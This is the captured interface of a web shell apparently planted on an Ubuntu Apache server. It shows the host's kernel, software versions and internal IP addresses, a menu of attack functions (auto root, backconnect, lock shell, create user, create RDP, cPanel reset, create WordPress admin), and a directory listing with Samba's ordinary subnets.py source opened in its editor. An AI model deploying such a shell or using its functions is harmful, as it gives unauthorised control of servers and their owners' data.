Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dcerpc
[ DIR ]
drwxr-xr-x
emulate
[ DIR ]
drwxr-xr-x
gp_parse
[ DIR ]
drwxr-xr-x
kcc
[ DIR ]
drwxr-xr-x
netcmd
[ DIR ]
drwxr-xr-x
provision
[ DIR ]
drwxr-xr-x
samba3
[ DIR ]
drwxr-xr-x
subunit
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
12.62
KB
-rw-r--r--
_glue.cpython-310-x86_64-linux...
26.96
KB
-rw-r--r--
_ldb.cpython-310-x86_64-linux-...
66.32
KB
-rw-r--r--
auth.cpython-310-x86_64-linux-...
61.54
KB
-rw-r--r--
auth_util.py
1.1
KB
-rw-r--r--
colour.py
2.84
KB
-rw-r--r--
common.py
3.81
KB
-rw-r--r--
credentials.cpython-310-x86_64...
48.79
KB
-rw-r--r--
crypto.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
dbchecker.py
130.9
KB
-rw-r--r--
dckeytab.cpython-310-x86_64-li...
18.33
KB
-rw-r--r--
descriptor.py
27.97
KB
-rw-r--r--
dnsresolver.py
2.29
KB
-rw-r--r--
dnsserver.py
13.96
KB
-rw-r--r--
domain_update.py
14.97
KB
-rw-r--r--
drs_utils.py
18.23
KB
-rw-r--r--
dsdb.cpython-310-x86_64-linux-...
55.4
KB
-rw-r--r--
dsdb_dns.cpython-310-x86_64-li...
22.52
KB
-rw-r--r--
forest_update.py
19.75
KB
-rw-r--r--
gensec.cpython-310-x86_64-linu...
35.41
KB
-rw-r--r--
getopt.py
16.03
KB
-rw-r--r--
gp_ext_loader.py
2.09
KB
-rw-r--r--
gp_gnome_settings_ext.py
20.15
KB
-rw-r--r--
gp_msgs_ext.py
3.46
KB
-rw-r--r--
gp_scripts_ext.py
3.85
KB
-rw-r--r--
gp_sec_ext.py
8.87
KB
-rw-r--r--
gp_smb_conf_ext.py
3.79
KB
-rw-r--r--
gp_sudoers_ext.py
4.5
KB
-rw-r--r--
gpclass.py
21.5
KB
-rw-r--r--
gpo.cpython-310-x86_64-linux-g...
23.72
KB
-rw-r--r--
graph.py
27.76
KB
-rw-r--r--
hostconfig.py
2.29
KB
-rw-r--r--
idmap.py
3.25
KB
-rw-r--r--
join.py
75.74
KB
-rw-r--r--
logger.py
2.08
KB
-rw-r--r--
mdb_util.py
1.48
KB
-rw-r--r--
messaging.cpython-310-x86_64-l...
27.07
KB
-rw-r--r--
ms_display_specifiers.py
4.65
KB
-rw-r--r--
ms_forest_updates_markdown.py
9.15
KB
-rw-r--r--
ms_schema.py
9.32
KB
-rw-r--r--
ms_schema_markdown.py
2.21
KB
-rw-r--r--
ndr.py
5.31
KB
-rw-r--r--
net.cpython-310-x86_64-linux-g...
31.04
KB
-rw-r--r--
net_s3.cpython-310-x86_64-linu...
74.87
KB
-rw-r--r--
netbios.cpython-310-x86_64-lin...
22.88
KB
-rw-r--r--
ntacls.py
23.42
KB
-rw-r--r--
ntstatus.cpython-310-x86_64-li...
122.13
KB
-rw-r--r--
param.cpython-310-x86_64-linux...
32.07
KB
-rw-r--r--
policy.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
posix_eadb.cpython-310-x86_64-...
14.4
KB
-rw-r--r--
registry.cpython-310-x86_64-li...
28.04
KB
-rw-r--r--
remove_dc.py
18.18
KB
-rw-r--r--
samdb.py
59.92
KB
-rw-r--r--
schema.py
9.93
KB
-rw-r--r--
sd_utils.py
8.06
KB
-rw-r--r--
security.cpython-310-x86_64-li...
14.34
KB
-rw-r--r--
sites.py
3.96
KB
-rw-r--r--
subnets.py
8.3
KB
-rw-r--r--
tdb_util.py
1.45
KB
-rw-r--r--
trust_utils.py
2.1
KB
-rw-r--r--
upgrade.py
33.78
KB
-rw-r--r--
upgradehelpers.py
32.24
KB
-rw-r--r--
uptodateness.py
6.55
KB
-rw-r--r--
vgp_access_ext.py
6
KB
-rw-r--r--
vgp_files_ext.py
5.83
KB
-rw-r--r--
vgp_issue_ext.py
2.85
KB
-rw-r--r--
vgp_motd_ext.py
2.85
KB
-rw-r--r--
vgp_openssh_ext.py
4.39
KB
-rw-r--r--
vgp_startup_scripts_ext.py
5.51
KB
-rw-r--r--
vgp_sudoers_ext.py
5.41
KB
-rw-r--r--
vgp_symlink_ext.py
3.24
KB
-rw-r--r--
werror.cpython-310-x86_64-linu...
158.13
KB
-rw-r--r--
xattr.py
2.23
KB
-rw-r--r--
xattr_native.cpython-310-x86_6...
14.4
KB
-rw-r--r--
xattr_tdb.cpython-310-x86_64-l...
14.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : subnets.py
# Add/remove subnets to sites. # # Copyright (C) Catalyst.Net Ltd 2015 # Copyright Matthieu Patou <mat@matws.net> 2011 # # Catalyst.Net's contribution was written by Douglas Bagnall # <douglas.bagnall@catalyst.net.nz>. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # import ldb from ldb import FLAG_MOD_ADD, FLAG_MOD_REPLACE, LdbError from . sites import SiteNotFoundException class SubnetException(Exception): """Base element for Subnet errors""" pass class SubnetNotFound(SubnetException): """The subnet requested does not exist.""" pass class SubnetAlreadyExists(SubnetException): """The subnet being added already exists.""" pass class SubnetInvalid(SubnetException): """The subnet CIDR is invalid.""" pass class SiteNotFound(SubnetException): """The site to be used for the subnet does not exist.""" pass def create_subnet(samdb, configDn, subnet_name, site_name): """Create a subnet and associate it with a site. :param samdb: A samdb connection :param configDn: The DN of the configuration partition :param subnet_name: name of the subnet to create (a CIDR range) :return: None :raise SubnetAlreadyExists: if the subnet to be created already exists. :raise SiteNotFound: if the site does not exist. """ ret = samdb.search(base=configDn, scope=ldb.SCOPE_SUBTREE, expression='(&(objectclass=Site)(cn=%s))' % ldb.binary_encode(site_name)) if len(ret) != 1: raise SiteNotFound('A site with the name %s does not exist' % site_name) dn_site = ret[0].dn if not isinstance(subnet_name, str): raise SubnetInvalid("%s is not a valid subnet (not a string)" % subnet_name) dnsubnet = ldb.Dn(samdb, "CN=Subnets,CN=Sites") if dnsubnet.add_base(configDn) == False: raise SubnetException("dnsubnet.add_base() failed") if dnsubnet.add_child("CN=X") == False: raise SubnetException("dnsubnet.add_child() failed") dnsubnet.set_component(0, "CN", subnet_name) try: m = ldb.Message() m.dn = dnsubnet m["objectclass"] = ldb.MessageElement("subnet", FLAG_MOD_ADD, "objectclass") m["siteObject"] = ldb.MessageElement(str(dn_site), FLAG_MOD_ADD, "siteObject") samdb.add(m) except ldb.LdbError as e: (enum, estr) = e.args if enum == ldb.ERR_INVALID_DN_SYNTAX: raise SubnetInvalid("%s is not a valid subnet: %s" % (subnet_name, estr)) elif enum == ldb.ERR_ENTRY_ALREADY_EXISTS: # Subnet collisions are checked by exact match only, not # overlapping range. This won't stop you creating # 10.1.1.0/24 when there is already 10.1.0.0/16, or # prevent you from having numerous IPv6 subnets that refer # to the same range (e.g 5::0/16, 5::/16, 5:0:0::/16). raise SubnetAlreadyExists('A subnet with the CIDR %s already exists' % subnet_name) else: raise def delete_subnet(samdb, configDn, subnet_name): """Delete a subnet. :param samdb: A samdb connection :param configDn: The DN of the configuration partition :param subnet_name: Name of the subnet to delete :return: None :raise SubnetNotFound: if the subnet to be deleted does not exist. """ dnsubnet = ldb.Dn(samdb, "CN=Subnets,CN=Sites") if dnsubnet.add_base(configDn) == False: raise SubnetException("dnsubnet.add_base() failed") if dnsubnet.add_child("CN=X") == False: raise SubnetException("dnsubnet.add_child() failed") dnsubnet.set_component(0, "CN", subnet_name) try: ret = samdb.search(base=dnsubnet, scope=ldb.SCOPE_BASE, expression="objectClass=subnet") if len(ret) != 1: raise SubnetNotFound('Subnet %s does not exist' % subnet_name) except LdbError as e1: (enum, estr) = e1.args if enum == ldb.ERR_NO_SUCH_OBJECT: raise SubnetNotFound('Subnet %s does not exist' % subnet_name) samdb.delete(dnsubnet) def rename_subnet(samdb, configDn, subnet_name, new_name): """Rename a subnet. :param samdb: A samdb connection :param configDn: The DN of the configuration partition :param subnet_name: Name of the subnet to rename :param new_name: New name for the subnet :return: None :raise SubnetNotFound: if the subnet to be renamed does not exist. :raise SubnetExists: if the subnet to be created already exists. """ dnsubnet = ldb.Dn(samdb, "CN=Subnets,CN=Sites") if dnsubnet.add_base(configDn) == False: raise SubnetException("dnsubnet.add_base() failed") if dnsubnet.add_child("CN=X") == False: raise SubnetException("dnsubnet.add_child() failed") dnsubnet.set_component(0, "CN", subnet_name) newdnsubnet = ldb.Dn(samdb, str(dnsubnet)) newdnsubnet.set_component(0, "CN", new_name) try: samdb.rename(dnsubnet, newdnsubnet) except LdbError as e2: (enum, estr) = e2.args if enum == ldb.ERR_NO_SUCH_OBJECT: raise SubnetNotFound('Subnet %s does not exist' % dnsubnet) elif enum == ldb.ERR_ENTRY_ALREADY_EXISTS: raise SubnetAlreadyExists('A subnet with the CIDR %s already exists' % new_name) elif enum == ldb.ERR_INVALID_DN_SYNTAX: raise SubnetInvalid("%s is not a valid subnet: %s" % (new_name, estr)) else: raise def set_subnet_site(samdb, configDn, subnet_name, site_name): """Assign a subnet to a site. This dissociates the subnet from its previous site. :param samdb: A samdb connection :param configDn: The DN of the configuration partition :param subnet_name: Name of the subnet :param site_name: Name of the site :return: None :raise SubnetNotFound: if the subnet does not exist. :raise SiteNotFound: if the site does not exist. """ dnsubnet = ldb.Dn(samdb, "CN=Subnets,CN=Sites") if dnsubnet.add_base(configDn) == False: raise SubnetException("dnsubnet.add_base() failed") if dnsubnet.add_child("CN=X") == False: raise SubnetException("dnsubnet.add_child() failed") dnsubnet.set_component(0, "CN", subnet_name) try: ret = samdb.search(base=dnsubnet, scope=ldb.SCOPE_BASE, expression="objectClass=subnet") if len(ret) != 1: raise SubnetNotFound('Subnet %s does not exist' % subnet_name) except LdbError as e3: (enum, estr) = e3.args if enum == ldb.ERR_NO_SUCH_OBJECT: raise SubnetNotFound('Subnet %s does not exist' % subnet_name) dnsite = ldb.Dn(samdb, "CN=Sites") if dnsite.add_base(configDn) == False: raise SubnetException("dnsites.add_base() failed") if dnsite.add_child("CN=X") == False: raise SubnetException("dnsites.add_child() failed") dnsite.set_component(0, "CN", site_name) dnservers = ldb.Dn(samdb, "CN=Servers") dnservers.add_base(dnsite) try: ret = samdb.search(base=dnsite, scope=ldb.SCOPE_BASE, expression="objectClass=site") if len(ret) != 1: raise SiteNotFoundException('Site %s does not exist' % site_name) except LdbError as e4: (enum, estr) = e4.args if enum == ldb.ERR_NO_SUCH_OBJECT: raise SiteNotFoundException('Site %s does not exist' % site_name) siteDn = str(ret[0].dn) m = ldb.Message() m.dn = dnsubnet m["siteObject"] = ldb.MessageElement(siteDn, FLAG_MOD_REPLACE, "siteObject") samdb.modify(m)
Close